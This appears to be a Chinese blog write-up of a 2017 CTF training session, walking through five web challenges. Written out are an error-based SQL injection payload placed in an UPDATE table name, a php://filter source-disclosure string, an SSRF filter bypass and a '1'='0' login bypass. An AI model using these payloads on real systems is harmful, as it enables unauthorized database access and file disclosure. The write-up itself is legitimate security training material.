#writeup#平安科技CTF培训-2017.10.21

http://game.rootk.pw:51001/web1/

并不是签到题!!!

my password

my password: G00dPassw0rD不是flag。

Robots协议(也称为爬虫协议、机器人协议等)的全称是“网络爬虫排除标准”(Robots Exclusion Protocol),网站通过Robots协议告诉搜索引擎哪些页面可以抓取,哪些页面不能抓取。

robots.txt文件是一个文本文件,使用任何一个常见的文本编辑器,比如Windows系统自带的Notepad,就可以创建和编辑它。robots.txt是一个协议,而不是一个命令。robots.txt是搜索引擎中访问网站的时候要查看的第一个文件。robots.txt文件告诉蜘蛛程序在服务器上什么文件是可以被查看的。
当一个搜索蜘蛛访问一个站点时,它会首先检查该站点根目录下是否存在robots.txt,如果存在,搜索机器人就会按照该文件中的内容来确定访问的范围;如果该文件不存在,所有的搜索蜘蛛将能够访问网站上所有没有被口令保护的页面。建议,仅当您的网站包含不希望被搜索引擎收录的内容时,才需要使用robots.txt文件。如果您希望搜索引擎收录网站上所有内容,请勿建立robots.txt文件。
如果将网站视为酒店里的一个房间,robots.txt就是主人在房间门口悬挂的“请勿打扰”或“欢迎打扫”的提示牌。这个文件告诉来访的搜索引擎哪些房间可以进入和参观,哪些房间因为存放贵重物品,或可能涉及住户及访客的隐私而不对搜索引擎开放。但robots.txt不是命令,也不是防火墙,如同守门人无法阻止窃贼等恶意闯入者。

robots.txt

继续进入secret_flag_file.php:

secret_flag_file.php

说了要post刚才的password,拿到flag。

Got it !

Done.

PS:使用FireFox的Hackbar插件,就能实现;或者使用BurpSuite。


http://game.rootk.pw:51001/web2/

SQL注入+代码审计。

首先看代码:

/*这里说明表名是#web2#,并不包含flag。
mysql:
create table `#web2#`(
     pid INT(11) NOT NULL AUTO_INCREMENT,
     name VARCHAR(255) NOT NULL UNIQUE,
     PRIMARY KEY(pid)
);
*/

php code:
$db = array(
        'DB_HOST' => 'localhost',
        'DB_USER' => 'web2',
        'DB_PWD' => 'xxx',
        'DB_CHAR' => 'utf8',    #使用了utf8字符集的数据库,说明宽字节注入没戏
        'DB_NAME' => 'xxx',
);

$conn = mysql_connect($db['DB_HOST'], $db['DB_USER'], $db['DB_PWD']) or exit(mysql_error());
mysql_select_db($db['DB_NAME'], $conn) or exit(mysql_error());
mysql_query("SET NAMES " . $db['DB_CHAR']);
$data = addslashes($_GET['data']);

/*SQL语句被换行了,说明是尾部注释(;或者#或者--)没戏
$sql = "UPDATE `{$data}`
        SET `name`='test'
        WHERE pid=1";
echo $sql;
$res = mysql_query($sql) or exit(mysql_error());//说明需要构造报错型注入
mysql_close($conn);
//综合几点,只能在表名本身做手脚了

PS:推荐大家一个练习CTF的本地环境。
DVWA。
相关配置会在稍后整理出来。
因为搞这个浪费了不少时间然后发现其实是Apache有个坑,这货特喵居然默认没有加载PHP模块。知道这个之后一分钟就搞定了。
先看update语句的一个姿势:

mysql> show tables;
+----------------+
| Tables_in_dvwa |
+----------------+
| #web2#         |
| guestbook      |
| users          |
+----------------+
3 rows in set (0.00 sec)
 
mysql> update `#web2#` t left join (select * from users) y on t.`name` = y.`user` SET `name` = 'test' where pid = 9999;
Query OK, 0 rows affected (0.00 sec)
Rows matched: 0  Changed: 0  Warnings: 0

说明表名部分可以做左连接查询, 而红色部分就是我们要做注入的参数。

需要触发报错注入,找一个payload,Exp(~(select * from (select user())a)) (详情看CTF in web)

http://game.rootk.pw:51001/web2/
?data=%23web2%23` t left join (select Exp(~(select * from (select user())a))) y on 11 = y.`xxx

成功注入:

成功注入

那剩下的步骤就是利用information_schema来获取表名和列名, 最后:

获取表名
获取列名

Done.


http://game.rootk.pw:51001/web3/

http://game.rootk.pw:51001/web3/index.php?m=login
文件上传漏洞。

php://filter/convert.base64_encode/resource=login

分析:

插入filter

base64解码后,得到index.php:

base64解码
  • 同样的方法得到login.php的代码
login.php代码
  • 发现了flag.php,同样的方法读取代码
flag.php

ASCII解码就得到flag:

ACSII解码

Done.


http://game.rootk.pw:51001/web4/

分析:

  • 提示flag_file.php
flag_file.php
  • 进入flag_file.php, 看到127.0.0.1, 再留意之前index.php的参数url,不用多想,这一定是SSRF的利用
127.0.0.1
  • 进一步验证了是SSRF:
SSRF
  • 直接使用127.0.0.1 不行,可能做了关键字过滤
关键字过滤
  • 把127.0.0.1转成整数或者localhost,成功拿到flag
localhost

Done.


http://game.rootk.pw:51001/web5/

一上来二话不说,万能口令走起(用户名和密码都是1'='0),拿到flag

select * from users where username='1'='0' and password='1'='0'

username='1'='0' => "0"="0" => true

password='1'='0' => "0"="0" => true

mysql中字符串(非1)和1比较都等于0

当然,也可以都写'-'

MySQL黑魔法:隐式转换。
之后会另开一文详细介绍。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 206,214评论 6 481
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 88,307评论 2 382
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 152,543评论 0 341
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 55,221评论 1 279
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 64,224评论 5 371
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,007评论 1 284
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,313评论 3 399
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,956评论 0 259
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 43,441评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,925评论 2 323
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,018评论 1 333
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,685评论 4 322
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,234评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,240评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,464评论 1 261
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,467评论 2 352
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,762评论 2 345

推荐阅读更多精彩内容